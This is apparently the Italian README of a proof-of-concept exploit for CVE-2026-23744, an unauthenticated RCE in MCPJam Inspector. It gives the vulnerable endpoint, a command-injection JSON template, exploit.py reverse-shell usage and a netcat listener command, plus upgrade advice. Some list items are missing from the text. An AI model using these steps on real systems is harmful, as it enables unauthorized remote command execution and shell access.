
Exploit proof-of-concept per CVE-2026-23744, una RCE non autenticata in MCPJam Inspector. Fornisce reverse shell ed esecuzione di comandi tramite un endpoint API vulnerabile.
CVE-2026-23744 è una vulnerabilità critica di Esecuzione Remota di Codice (RCE) non autenticata che interessa MCPJam Inspector ≤ 1.4.2. Il problema deriva dal fatto che Inspector espone un endpoint di gestione (/api/mcp/connect) che accetta configurazioni del server MCP controllate dall'utente e può attivare l'esecuzione di processi senza un'adeguata autenticazione o restrizioni di sicurezza. Le versioni interessate ascoltano su 0.0.0.0 (tutte le interfacce) per impostazione predefinita anziché su localhost, rendendo possibile lo sfruttamento remoto se il servizio è accessibile dalla rete.
La vulnerabilità è associata al seguente endpoint:
POST /api/mcp/connect
L'endpoint accetta un oggetto JSON contenente una configurazione del server, come:
{
"serverConfig": {
"command": "<executable>",
"args": ["<arguments>"],
"env": {}
},
"serverId": "<identifier>"
}
Questa configurazione fornita viene poi utilizzata da MCPJam Inspector per creare e gestire un nuovo processo MCP server. Poiché all'endpoint mancano controlli di autenticazione e sicurezza sufficienti, un attaccante può inviare definizioni arbitrarie di processi che vengono eseguite dal servizio Inspector.
In sostanza, la vulnerabilità è un problema di Autenticazione Mancante per Funzioni Critiche (CWE-306) in cui l'applicazione espone funzionalità destinate a utenti locali fidati e le rende accessibili attraverso la rete senza adeguati controlli di sicurezza.
La vulnerabilità deriva da due difetti di progettazione:
0.0.0.0 per impostazione predefinita.Il percorso di attacco risultante può essere visualizzato come segue:
Attacker → /api/mcp/connect → Process Creation → Operating System
Poiché l'applicazione interfaccia direttamente la creazione di processi del sistema operativo, uno sfruttamento riuscito può comportare l'esecuzione arbitraria di comandi nel contesto di sicurezza del servizio MCPJam Inspector.
python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port>
-t (oppure) --target: URL del target o indirizzo IP del target.-tport (oppure) --target-port: Porta del target a cui connettersi; nella maggior parte dei casi è 6274 per MCPJam Inspector. Non utilizzare questo argomento se MCPJam Inspector è ospitato altrove, ad esempio in un sottodominio o in un virtual host. Usa invece l'argomento -t per specificare il sottodominio o il virtual host.-lhost (oppure) --local-host: Indirizzo IP pubblico a cui la reverse shell deve riconnettersi.-lport (oppure) --local-port: Porta da utilizzare per la reverse shell.python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port> -c '<command>'
-c (oppure) --command: Comando da eseguire sul target.Prima di utilizzare questo programma, devi prima avviare un listener sulla tua macchina locale usando Netcat.
Per farlo, usa il seguente comando:
nc -lvnp <port>
Quindi, esegui il comando precedente per ottenere una reverse shell sul target.
Uno sfruttamento riuscito può consentire a un attaccante di:
Alla vulnerabilità è stato assegnato un punteggio CVSS v3.1 di 9.8 (Critico) a causa del vettore di attacco basato sulla rete, della mancanza di autenticazione, dell'assenza di interazione con l'utente e dell'elevato impatto su riservatezza, integrità e disponibilità.
Aggiorna immediatamente a MCPJam Inspector 1.4.3 o versioni successive. Ulteriori misure difensive includono:
Questo PoC è esclusivamente a scopo educativo, di ricerca difensiva sulla sicurezza e di test di sicurezza autorizzati. Deve essere utilizzato solo contro sistemi con esplicita autorizzazione. L'uso non autorizzato contro sistemi di terze parti può violare leggi e regolamenti applicabili. Il proprietario di questo repository non è responsabile di eventuali danni causati dall'uso di questo programma.